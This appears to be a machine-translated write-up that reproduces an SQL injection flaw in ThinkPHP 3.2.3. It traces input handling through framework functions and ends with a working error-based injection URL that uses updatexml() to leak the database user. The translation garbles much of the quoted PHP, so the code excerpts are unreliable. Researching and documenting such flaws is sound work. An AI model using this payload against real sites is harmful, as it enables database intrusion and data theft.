Began to reproduce what the audit framework and vulnerability tp3 tp5 when a draw.
It relates to a method of injection where () table () delete ( ) and the like.
Environmental tp3.2.3:
0x01 injection causes
Test code:
public function index2(){ // $data = M('user')-> where('username = "admin"')->select(); // dump($data); $id = i('id'); $res = M('user')->find($id);
I see a follow-up method breakpoint.
F7 thinkphp/ThinkPHP/Common/functions.php
follow :
From start to see the first 283 rows judgment submission:
...... switch(strtolower($method)) { case 'get' : $input =& $_GET; break; case 'post' : $input =& $_POST; break; case 'put' : if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input = $_PUT; break; case 'param' : switch($_SERVER['REQUEST_METHOD']) { case 'POST': $input = $_POST; break; case 'PUT': if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input = $_PUT; break; default: $input = $_GET; } break; case 'path' : $input = array(); if(!empty($_SERVER['PATH_INFO'])){ $depr = C('URL_PATHINFO_DEPR'); $input = explode($depr,trim($_SERVER['PATH_INFO'],$depr)); } break; case 'request' : $input =& $_REQUEST; break; case 'session' : $input =& $_SESSION; break; case 'cookie' : $input =& $_COOKIE; break; case 'server' : $input =& $_SERVER; break; case 'globals' : $input =& $GLOBALS; break; case 'data' : $input =& $datas; break; default: return null; }
Look where the focus filter
think_filter:
function think_filter (& $ value ) { // TODO other security filtering // filter query special characters IF ( preg_match ( '/ ^ (EXP | NEQ | GT | EGT | LT | ELT | OR | XOR | the LIKE | NOTLIKE | the NOT the BETWEEN | NOTBETWEEN | the BETWEEN | notin | the NOT the IN | the IN) $ / I ', $ value )) { $ value =.' ' ; } }
Here is the basic causes of the blacklist but missed some common updataxml () function did not filter error.
To follow behind in the function parseSet可以看到我们提交的字符串作为占位符:
protected function parseSet($data) { foreach ($data as $key=>$val){ if(is_array($val) && 'exp' == $val[0]){ $set[] = $this->parseKey($key).'='.$val[1]; }elseif(is_null($val)){ $set[] = $this->parseKey($key).'=NULL'; }elseif(is_scalar($val)) {// 过滤非标量数据 if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){ $set[] = $this->parseKey($key).'='.$this->escapeString($val); }else{ $name = count($this->bind); $set[] = $this->parseKey($key).'=:'.$name; $this->bindParam($name,$val); } } } return ' SET '.implode(',',$set); }
_parseOptions
method:
IF ( is_array ( $ options )) { // when integrated with $ options $ this-> options when the array is an array of $ options = The array_merge ( $ the this -> Options, $ options ); } IF (! isset ( $ options [ 'table'])) { // determines whether a table not set in here // automatically obtain table $ Options [ 'table'] = $ the this -> the getTableName (); $ Fields = $ the this -> Fields; } the else { //Re-acquiring the data table specified field list but not type detector $ Fields = $ the this -> getDbFields (); // set in here } // data table alias IF (! Empty ( $ Options [ 'Alias'])) { // determines whether a data table alias $ Options [ 'table'] = ''.. $ Options [alias'] '; // Note that here, a direct splicing } // recording operation model name $ Options [' Model '] = $ the this -> name; // field type validation IF ( isset ( $ Options [' WHERE ']) && is_array (Options $ [ 'the WHERE']) &&! empty ( $ Fields ) &&! isset ( $ Options [ 'the Join'])) { // make $ optison [ 'where'] is not an array or not is not set in here // array query condition field type checking ...... } // after the query is assembled to avoid affecting the empty expression sql query Save $ the this -> Options = array (); // expression filter $ the this -> _ options_filter ( Options $ ); return $ Options ;
When we pass an array of value is not directly parsed into the query returns, without any filtering.
While the $ options [ 'where'], too, see parseWhere function
whereStr $ = '' ; IF ( is_string ( $ WHERE )) { // directly string condition $ whereStr = $ WHERE ; // return directly, without any filtering } the else { // Use array expression .... .. }
0x02 reproducible use
http://www.qing-tp3.com/index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
With the end of time or a little about the delet those methods produce similar injection write back to work -